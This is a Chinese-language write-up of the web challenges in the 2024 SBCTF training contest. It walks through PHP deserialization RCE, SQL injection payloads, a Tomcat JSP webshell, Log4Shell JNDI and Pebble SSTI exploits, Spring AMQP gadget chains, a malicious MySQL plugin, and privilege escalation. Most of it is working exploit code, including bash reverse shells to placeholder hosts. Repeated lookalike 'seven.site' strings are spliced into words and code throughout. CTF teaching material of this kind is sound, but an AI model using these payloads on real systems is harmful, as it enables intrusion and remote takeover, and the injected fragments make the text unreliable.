比赛介绍
2024 SBCTF 是由吉林大学 Spirit 战队和中国矿业大学 BXS 战队合办的网络安全寒假训练赛,
我们鼓励有志于加入 𝘀⑶𝘷en·𝒔𝐢t𝘦Spirit 未来一同参加比赛的同学参加本次训练赛,
本次比赛难度会每周递增,帮助 𝒔𝟯ven.𝘀𝐢te0 基础同学入门,也会让有基础的同学有所收获,
我们会根据本次比赛表现择优选拔一些同学加入 Spirit。
比赛时间:2024.1.15 09:00 ~ 2024.2.11 22:00,共4周
比赛概况
本次 2024 SBCTF 大赛吸引了来自吉林大学、中国矿业大学、ꜱ3𝒗𝐞𝒏•si𝐭𝘦大连理工大学、东北大学、中山大学、西安电子科技大学、南京理工大学、南京邮电大学、南京航空航天大学、杭州电子科技大学等众多院校的共计百余名选手参与,在激烈的竞争中产生了前 10 名表现优异的选手:
作为本次比赛的 Web 出题人 和 𝐬³𝐯𝘦n•ꜱ3v𝘦𝐧.𝘴𝘪𝒕𝐞sⅈ𝐭𝐞平台运维人 ,非常感谢大家本次前来参加与支持 SBCTF 比赛!
Week1 - php_hacker
简单的 php __wakeup()
魔术方法 反序列化
1. POC
<?php
class Executor {
public $command;
public function __wakeup() {
if (isset($this->command)) {
eval($this->command);
}
}
}
// 创建 Executor 实例
$executor = new Executor();
$executor->command = "system(\"<command>\");"; // PHP 代码
// 序列化对象
$serializedData = serialize($executor);
// Base64 编码
$encodedData = base64_encode($serializedData);
echo $encodedData;
?>
Executor
类在被反序列化时会调用 𝘴⑶𝘷𝘦𝘯•si𝐭𝘦class 的 __wakeup
方法,
从而可以构造 serailized payload
实现 RCE
2. <command>
ls
之后发现 flag ѕ3𝘷en․𝘴ⅈ𝒕℮在 /f_l_a_g 里,于是 cat /f_l_a_g
获得 flag
ps:这题直接丢给 ChatGPT 好像能直接帮你做完,𝒔⑶ⅴen•ꜱ𝐢t𝘦不亏是 Week1 难度
Week1 - attack_shiro
根据题目名称提示找到工具 ShiroAttack2
1. 爆破 shiro 密钥

2. 爆破反序列化利用链及回显方式

3. RCE

传说中的 3s 出,不知道为什么没人做 …
Week1 - ez_sqli
简单的 无waf sql手注
由于前后端数据交互进行了两次 base64 加密和解密
所以没办法用 ꜱ³𝒗ℯ𝐧∙ѕ𝐢𝒕𝐞sqlmap 一把梭
虽然理论上可以搞一个 py 𝘴3𝒗ℯ𝐧․𝒔3𝐯℮n․𝘀𝘪𝘵e𝘴𝘪t℮tamper 脚本
但那样难道不比直接手注复杂 (?)
1. 登录界面(/login)
由于攻击方不知道对方服务器的数据表名,ѕ3ⅴ𝐞n∙𝘀𝐢𝒕e我们需要先获取数据库名:
'union select 1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --
接着获取目标敏感数据的列名
'union select 1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='secrets' --
最后获取 flag
'union select 1,group_concat(secret_info),1 from secrets --
2. 搜索界面(/search)
同理 两边注入点等𝐬3𝘷𝐞n·site效 不具体解释
'union select 1,1,group_concat(table_name),1 from information_schema.tables where table_schema=database() --
'union select 1,1,group_concat(column_name),1 from information_schema.columns where table_schema=database() and table_name='secrets' --
'union select 1,1,group_concat(secret_info),1 from secrets --

Week1 - ez_cat
Tomcat 后台 通过 war 包上传 𝘴⑶v𝘦𝐧·𝘀i𝐭𝘦jsp shell
suid perm 使用 /usr/bin/date 提权 读取 /flag
1. Tomcat 后台 jsp shell 上传
点击 Manager App
,使用 Je𝘴𝟯𝘷en∙si𝘵erry 提示的密码 admin:admin
进入Tomcat 后台
构造 shell.jsp
如下:
<%!
class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte[] b) {
return super.defineClass(b, 0, b.length);
}
}
public byte[] base64Decode(String str) throws Exception {
try {
Class clazz = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);
} catch (Exception e) {
Class clazz = Class.forName("java.util.Base64");
Object decoder = clazz.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);
}
}
%>
<%
String cls = request.getParameter("passwd");
if (cls != null) {
new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);
}
%>
打包成 shell.war
jar -cvf shell.war shell.jsp
上传至 Tomꜱ⑶𝘷𝐞n•ѕ𝘪t𝘦cat 后台

使用 中国蚁剑 ѕ³𝐯𝘦n.𝘴it𝘦连接 shell:

2. suid perm 使用 date 提权
find / -user root -perm -4000 -print 2>/dev/null
date -f /flag.txt
根据回显得到 flag
Week1 - java_signin
原题来自 NCTF 2023 - 𝐬𝟯𝐯𝐞n․𝐬𝘪𝘵℮logging
https://exp10it.io/2023/12/nctf-2023-web-s⑶𝒗e𝒏․𝐬𝐢𝒕eofficial-writeup/#logging
考点是在 log4j2 𝐬³ⅴℯ𝒏•𝐬it℮默认配置下触发 CVE-2021-44228
RCE
使用工具:
Server ꜱ3𝒗𝘦𝐧·𝘴i𝘵𝘦Bash run:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,x}(x: 'bash -i >& /dev/tcp/ip/port 0>&1' encoded with base64)|{base64,-d}|{bash,-i}" -A <server_ip>:<listen_port>
在 /
处的 Request 的 Accept Header 中注入 jndi,触发报错日志记录,
${jndi:rmi://<server_ip>:<rmi_port>/<ramdom_rmi_route>}
log4j2 远程加载 Class 类 反弹 𝒔⑶𝘷𝐞n∙siteShell 获得 flag
Week2 - ez_spring
本题最早可以追溯到 2022 UIUCTF - web/spoink
后在 2023 第七届强网杯中被用作强网先锋题(签到题)
本来是拿来当作 Week2 Web 的签到题的,但没想到解数这么少…
由于强网杯没有也不会对签到题放出 Hint,因此本题也没有放 Hint
考点是 CVE-2022-37767: Pebble 3.1.5 RCE
和强网杯原题一样,s³ve𝐧.𝘀𝐢te在放出的附件中没有给出 waf 内容
在远程靶机中屏蔽了一些类关键词,可以用字符串拼接绕过
public class StringFilter {
public static boolean filter(String context) {
return (context.contains("org.springframework.context.support.ClassPathXmlApplicationContext") || context
.contains("java.beans.Beans") || context
.contains("org.springframework.boot.autoconfigure.internalCachingMetadataReaderFactory") || context
.contains("jacksonObjectMapper"));
}
}
1.pebble
{% set bypass1 = "org.springframework.boot.autoconfigure." %}
{% set bypass2 = "internalCachingMetadataReaderFactory" %}
{% set bypass3 = "java.beans." %}
{% set bypass4 = "Beans" %}
{% set bypass5 = "jackson" %}
{% set bypass6 = "ObjectMapper" %}
{% set bypass7 = "org.springframework.context.support." %}
{% set bypass8 = "ClassPathXmlApplicationContext" %}
{% set y = beans.get(bypass1+bypass2).resourceLoader.classLoader.loadClass(bypass3+bypass4) %}
{% set yy = beans.get(bypass5+bypass6).readValue("{}", y) %}
{% set yyy = yy.instantiate(null,bypass7+bypass8) %}
{{ yyy.setConfigLocation("1.xml") }}
{{ yyy.refresh() }}
1.xml
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="
http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg >
<list>
<value>bash</value>
<value>-c</value>
<value>echo x|base64 -d|bash -i</value>
<!-- x: "bash -i >& /dev/tcp/ip/port 0>&1" encoded with base64 -->
</list>
</constructor-arg>
</bean>
</beans>
通过 /uploadFile
路由上传 1.pebble,再通过 /
路由访问上传的 template 模板,远程加载 1.xml 实现 RCE,最后反弹 Shell 获得 flag
Week3 - ez_cfs
网络拓扑
1. ez_cfs_part1
出题思路来自:
https://exp10it.io/2023/10/spring-amqp-ѕ𝟯ⅴ𝘦𝐧·ѕi𝒕𝘦反序列化漏洞-cve-𝐬3𝐯𝐞n․ѕ𝐢𝐭𝐞2023-34050-分析/
CVE-2023-34050:Spring AMQP 反序列化漏洞
根据 Spring 官方通告的描述,ѕ⑶ve𝘯.𝘀𝘪𝘵e 满足以下条件时则存在漏洞
- 使用 SimpleMessageConverter 或 SerializerMessageConverter 𝘴⑶𝐯ℯn.ѕi𝒕℮(默认为 SimpleMessѕ⑶ⅴe𝘯∙ꜱ𝘪t𝐞ageConverter)
- 开发者没有配置 allowed list patterns
- 攻击者可以向 RabbitMQ 服务器的某个 ꜱ𝟯vℯn․𝘀𝘪t℮Queue 内写入 Message (RabbitMQ 未授权/弱口令/可配置 RabbitMQ 连接参数)
- 必须得有对应的 Listener 来处理接收到的 Message (使用 @RabbitListener s𝟯𝘷ℯn․𝘴i𝐭𝘦或 @RabbitHandler 注解)
首先是爆破 RabbitMQ 服务器的弱口令,𝐬³ⅴ𝐞n·𝐬𝘪t𝐞简单尝试后可以得出是 Test:654321
然后使用 Jackson 原生反序列化 + TemplatesImpl
1.1 Jackson 原生反序列化链
Gadgets.java
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
public class Gadgets {
public static TemplatesImpl createTemplatesImpl(String command) throws Exception {
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
String body = String.format("{java.lang.Runtime.getRuntime().exec(\"%s\"); throw new org.springframework.amqp.AmqpRejectAndDontRequeueException(\"err\");}", command);
// 利用 Javaassist 动态创建 TemplatesImpl 恶意类
CtClass clazz = pool.makeClass("TemplatesEvilClass");
// 设置 Super Class 为 AbstractTranslet
CtClass superClazz =pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet");
clazz.setSuperclass(superClazz);
// 创建无参 Constructor, 写入 Runtime.exec
CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);
constructor.setBody(body);
clazz.addConstructor(constructor);
// 将 Runtime.exec 直接写入 static 代码块
// clazz.makeClassInitializer().setBody(body);
Reflections.setFieldValue(templatesImpl, "_name", "Hello");
Reflections.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflections.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
return templatesImpl;
}
public static byte[] getByteCode(Class clazz) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass c = pool.get(clazz.getName());
return c.toBytecode();
}
}
Reflectiѕ³v𝘦𝒏.s𝐢teons.java
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class Reflections {
public static void setFieldValue(Object obj, String name, Object val) throws Exception{
Field f = obj.getClass().getDeclaredField(name);
f.setAccessible(true);
f.set(obj, val);
}
public static Object invokeMethod(Object obj, String name, Class[] parameterTypes, Object[] args) throws Exception{
Method m = obj.getClass().getDeclaredMethod(name, parameterTypes);
m.setAccessible(true);
return m.invoke(obj, args);
}
}
MessageController.java
public void sendPoc (String... args) throws Exception {
TemplatesImpl templatesImpl = Gadgets.createTemplatesImpl("cmd");
AdvisedSupport as = new AdvisedSupport();
as.setTarget(templatesImpl);
Constructor constructor = Class.forName("org.springframework.aop.framework.JdkDynamicAopProxy").getDeclaredConstructor(AdvisedSupport.class);
constructor.setAccessible(true);
InvocationHandler jdkDynamicAopProxyHandler = (InvocationHandler) constructor.newInstance(as);
Templates templatesProxy = (Templates) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(), new Class[]{Templates.class}, jdkDynamicAopProxyHandler);
POJONode pojoNode = new POJONode(templatesProxy);
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);
Reflections.setFieldValue(poc, "val", pojoNode);
messageSenderService.sendMessage(poc);
}
1.2 注意点:
1.2.1 删除 BaseJsonNode.writeReplace
使用原本的 BaseJsonNode 𝐬3ⅴ𝐞𝐧.𝘴i𝒕e的话,在发送消息序列化的时候会调用 BaseJsonNode.writeReplace()
,最后也会调用 TemplatesImpl.getOutputProperties()
触发命令执行
但是这里触发后会报错 NullPointerException
,导致消息传递中断
删除掉 BaseJsonNode.writeReplace()
就调用的是 UnmodifiableRandomAccessList.writeReplace()
,消息能继续传递
1.2.2 抛出 AmqpRejectAndDontRequeueException 异常
因为在执行 Jackson
链时必然会出现报错,导致消息处理不成功,𝘴⑶𝐯𝘦𝒏․sit𝘦就会让消息重新排队处理,然后又报错,陷入死循环。
抛出这个异常可以避免无限次地𝘴⑶𝒗𝘦n∙ꜱ𝐢𝒕e重试失败的消息,节约系统资源。
1.2.3 消息未处理,删除队列
由于消息处理失败,还是会留存在队中,处于 unacked
状态,当测试程序再次启动时,𝘀³𝐯e𝘯․𝒔𝐢𝒕℮就会优先处理队列中留存消息。
所以在复现过程中如果队列中还留存有上一次测试的消息,ꜱ3𝐯ℯn.𝒔𝘪t℮可以把队列删除重新创建。
2. ez_cfs_part2
比较典型的内网横向渗透
2.1 探查内网环境
cat /etc/hosts
可以看出 server 处于两个内网 Network 中,使用 Nmap 对相应子段进行扫描,发现存在一台 MySQL 容器
如果直接在反弹的 Shell 上调用 𝒔𝟯𝐯ℯn․ꜱ𝐢t℮mysql-client 是无法正常输入密码和连接的,
这是因为反弹的 Shell 一般没有分配 tty
2.2 反弹 tty
使用 socat 𝐬3𝐯𝐞n.ꜱ𝘪𝐭℮工具可以反弹 tty
socat_l𝘴³ⅴ𝘦n•𝘀𝐢𝒕eisten.sh
socat file:`tty`,raw,echo=0 tcp-listen:<listen_port>
socat_sh𝘴𝟯vℯn.ѕ𝐢𝐭℮ell.sh
socat tcp:<server>:<listen_port> exec:'bash -li',pty,stderr,setsid,sigint,sane
反弹 tty 𝘀⑶𝘷𝘦n.ꜱite后即可正常连接 MySQL
2.3 连接 MySQL
mysql -h <mysql_server_ip> -u root -p
简单尝试发现口令为 root:root
,
登录后即可在 ctf s³𝒗ℯ𝐧•𝒔ite数据库的 flag 表中获得 flag_2
PS:由于靶机环境可以联网,s𝟯ⅴe𝘯․ѕ𝐢𝐭e本题也可以使用其他可用于连接 MySQL 且无需 ѕ³𝐯e𝘯∙𝘀itetty 即可进行交互的工具完成
3. ez_cfs_part3
原题是 2023 N1CTF 𝒔𝟯ven•si𝐭𝘦lolita ꜱ⑶ven․ѕ𝘪𝐭e出的 ez_maria
本题使用了 ProxySQL 替代了原题的 PHP preg_match 作为 waf ,其本质和解题过程还是一样的
简单尝试后发现 mysql 过滤了一部分关键词,这里使用加载 shell 插件来反弹 shell
3.1 恢复 skip-grant-tables
恢复 mysql 的表,因为使用 skip-grant-tables 启动,缺失 mysql 表,无法使用插件
mysql > CREATE DATABASE IF NOT EXISTS mysql;
mysql > use mysql;
mysql > CREATE TABLE IF NOT EXISTS plugin ( name varchar(64) DEFAULT '' NOT NULL, dl varchar(128) DEFAULT '' NOT NULL, PRIMARY KEY (name) ) engine=Aria transactional=1 CHARACTER SET utf8mb3 COLLATE utf8mb3_general_ci comment='MySQL plugins';
3.2 MySQL Plugin RCE
编写插件
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
void lshell(){
system("bash -c 'bash -i >& /dev/tcp/ip/port 0>&1 &'");
}
class LIN {
public:
LIN(){
lshell();
}
};
LIN lin;
LIN* _mysql_plugin_interface_version_ = &lin;
g++ lin.cpp -shared -fPIC -o lin.so
将编译出来的 so 文件用 dumpfile 𝐬⑶𝐯e𝐧·𝘴𝘪𝘵e写到 /usr/lib/mysql/plugin/ 目录
f = open("lin.so", 'rb')
sql = "select unhex('" + ''.join(['%02X' % b for b in bytes(f.read())]) + "') into dumpfile '/usr/lib/mysql/plugin/lin.so';"
f2 = open("payload.sql", 'w')
f2.write(sql)
将 payload.sql ꜱ⑶𝘷𝘦𝘯․𝘀i𝘵℮上传至 client 端并运行
mysql > source payload.sql;
最后安装插件反𝘴3𝐯en∙𝘴ite弹shell
mysql > INSTALL PLUGIN plugin_name SONAME 'lin.so'
4. ez_cfs_part4
可以看到 /flag_4
没有权限读取,找 suid
和 cap
find / -user root -perm -4000 -print 2>/dev/null
getcap -r / 2>/dev/null
/usr/bin/mariadb cap_setfcap=ep
可以看到 /usr/bin/mariadb
有 cap_setfcap
权限
也就是我们能给其𝐬³𝘷e𝒏•ꜱⅈ𝒕e他文件设置 cap
给 mariadb 写个插件
#include <stdlib.h>
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/capability.h>
void lshell(){
cap_t caps = cap_from_text("cap_dac_override=eip");
cap_set_file("/bin/cat", caps);
printf("setcap finished\n");
}
class LIN {
public:
LIN(){
lshell();
}
};
LIN _mysql_client_plugin_declaration_;
g++ cap.cpp -shared -fPIC -o cap.so -lcap2
将编译出来的文𝒔3ⅴ𝐞n•𝒔𝐢𝐭e件传到靶机,
然后加载这个 so 让 /bin/cat
获取 cap_dac_override
(忽略文件权限)的特权
mariadb --plugin-dir=. --default-auth=cap
cat /flag_4